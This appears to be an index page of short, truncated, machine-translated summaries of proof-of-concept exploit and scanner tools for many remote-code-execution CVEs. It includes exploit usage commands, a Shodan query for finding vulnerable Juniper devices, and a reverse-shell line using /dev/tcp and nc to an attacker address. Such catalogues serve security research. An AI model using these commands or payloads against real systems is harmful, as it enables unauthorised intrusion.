POC-CVE-2025-55182

Scanner CVE-2025-55182 Outil en ligne de commande simple pour détecter et exploiter CVE-2025-55182 RCE dans les composants serveur React dans les applications Next.js. Installation root@kitploit: chmod +x scanner.sh Utilisation root@kitploit: Analyse avec la commande par défaut id ./scanner.sh -d...

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 ./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check 안전 및 비안전 취약점/검증 점검: '안전 점검'으로 검증되지 않은 경우에만 '비안전 점검'을 사용합니다 $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot 비안전 취약점/검증 점검: $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080...

CVE-2021-2109

CVE-2021-2109 Weblogic Server: воспроизведение и анализ уязвимости удалённого выполнения кода В январе 2021 года Oracle выпустила обновление безопасности, включающее 329 новых патчей безопасности для продуктов Oracle. В этом уведомлении особо упоминалось уведомление о безопасности Oracle WebLogic...

CVE-2018-7600

POC de CVE-2018-7600 Drupal RCE CVE-2018-7600 N'oubliez pas de mettre votre adresse dans le script ! Description : Une vulnérabilité d'exécution de code à distance existe dans plusieurs sous-systèmes de Drupal 7.x et 8.x. Cela permet potentiellement aux attaquants d'exploiter de multiples vecteur...

TryHackMe-Atlassian-CVE-2022-26134

TryHackMe | Atlassian, CVE-2022-26134 TryHackMe Atlassian CVE-2022-26134 Atlassian, CVE-2022-26134 An interactive lab showcasing the Confluence Server and Data Center un-authenticated RCE vulnerability. Tâche 1 Introduction Confluence | Votre espace de travail d'équipe adapté au télétravail |...

CVE-2025-24813-PoC

CVE-2025-24813-PoC Script de détection de masse pour la vulnérabilité d'exécution de code à distance dans Apache Tomcat CVE-2025-24813 Avertissement : Les vulnérabilités décrites dans ce document et leurs étapes de reproduction sont strictement destinées à des fins de recherche en cybersécurité e...

CVE-2023-36844_Juniper_RCE

CVE-2023-36844JuniperRCE 一个概念验证（PoC），通过串联 CVE-2023-36844、CVE-2023-36845、CVE-2023-36846、CVE-2023-36847 这些 CVE，在 Juniper JunOS 的 SRX 和 EX 系列产品中实现远程代码执行（phpinfo）。修改自 @watchTowr 开发的原始漏洞利用程序。 Shodan 搜索语法 : title:"Juniper" http.favicon.hash:2141724739...

Blackash-CVE-2025-53833

🚨 CVE-2025-53833 — Критическое ⚠️ SSTI ➜ RCE в LaRecipe версии 2.8.1 📌 Обзор Идентификатор уязвимости : CVE-2025-53833 Затронутый компонент : LaRecipe генератор документации на Laravel Затронутые версии : Все версии до 2.8.1 Тип уязвимости : Server-Side Template Injection SSTI Серьезность :...

CVE-2020-9496

CVE-2020-9496 - RCE Étant donné que les 2 requêtes liées à xmlrpc dans webtools xmlrpc et ping n'utilisent pas d'authentification, elles sont vulnérables à une désérialisation non sécurisée. Ce problème a été signalé à l'équipe de sécurité par Alvaro Munoz [email protected] de l'équipe GitHu...

S2-057-CVE-2018-11776

S2-057-CVE-2018-11776 Un exploit simple pour Apache Struts RCE S2-057 CVE-2018-11776 IMPORTANT : Fourni uniquement à des fins éducatives ou d'information. Déploiement de l'environnement de test root@kitploit: git clone https://github.com/vulhub/vulhub cd vulhub/struts2/s2-057 docker-compose up -d...

CVE-2021-22192

CVE-2021-22192 CVE-2021-22192 실습 환경: 인증되지 않은 사용자 RCE 취약점 0x10 실습 환경 0x20 디렉터리 구조 root@kitploit: CVE-2021-22192 ├── README.md ............... 이 README 설명 ├── imgs .................... README 설명 보조 이미지 ├── gitlab .................. Gitlab 컨테이너의 마운트 디렉터리 │ ├── Dockerfile .......... Gitlab의 Docker 빌드...

CVE-2022-30190

CVE-2022-30190 Basé sur https://github.com/JohnHammond/msdt-follina Configuration de l'environnement Utiliser les fichiers dans /env-setup 1. Machine virtuelle : utiliser VirtualBox et Win1021H2Englishx32.iso Build 19044.1288 2. Installer Microsoft Word, exécuter setup.exe /configure...

CVE-2025-55182

CVE-2025-55182 Scanner et Laboratoire d'Exploitation Ce dépôt contient un scanner complet et un outil d'exploitation pour CVE-2025-55182 , une vulnérabilité critique d'exécution de code à distance RCE dans les composants serveur React RSC. Il inclut également un 'Environnement de laboratoire'...

CVE-2024-7029

PoC-инструмент для эксплуатации CVE-2024-7029 на устройствах AvTech 🎤 Перевод README Английский فارسی 📸 Скриншот 💎 Введение CVE-2024-7029 подчеркивает серьезную проблему безопасности в устройствах AVTech, где злоумышленники могут обойти аутентификацию и удаленно выполнять произвольные команды. Эт...

CVE-2020-8165

CVE-2020-8165 Python Exploit Ce code permet d'exploiter CVE-2020-8165 avec Python3. Cet exploit fonctionne avec rails & /dev/tcp/10.10.X.X/8989 0&1'" python3 exploit.py 10.10.10.X 8080 [email protected] password "nc 10.10.X.X 8989" Crédits principaux Détails originaux de la CVE :...

CVE-2024-4577-RCE

Injection d'argument PHP CGI CVE-2024-4577 RCE 📜 Description...

Next.js-RCE-CVE-2025-55182

🔍 Outil de test de sécurité Next.js Utilitaire professionnel d'évaluation de sécurité pour applications Next.js ⚠️ Avertissement Cet outil est destiné uniquement à des fins de tests de sécurité autorisés et de recherche. ✅ Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels...

cve-2020-0688

cve-2020-0688 Utilisation : root@kitploit: usage: cve-2020-0688.py -h -s SERVER -u USER -p PASSWORD -c CMD optional arguments: -h, --help show this help message and exit -s SERVER, --server SERVER ECP Server URL Example: http://ip/owa -u USER, --user USER login account Example: domain\user -p...

CVE-2020-23584

CVE-2020-23584 OPTILINK E-PON "MODEL NO: OP-XT71000N" avec "HARDWARE VERSION: V2.2" ; & "FIRMWARE VERSION: OPV3.3.1-191028" Exécution de code à distance non authentifiée sur "OPTILINK OP-XT71000N, Hardware Version: V2.2". Le problème survient lorsque l'attaquant transmet des commandes arbitraires...

cve-2026-26114-poc

CVE-2026-26114 実験室またはテストが許可されたシステムでのみ使用してください。 Python PoC root@kitploit: pip install requests requests-ntlm python poc/cve202626114rce.py ^ --target http://sharepoint.local ^ --username spuser1 ^ --password "Password123!" ^ --domain SP19 ^ --cmd "cmd /c whoami C:\Windows\Temp\cve202626114.txt"...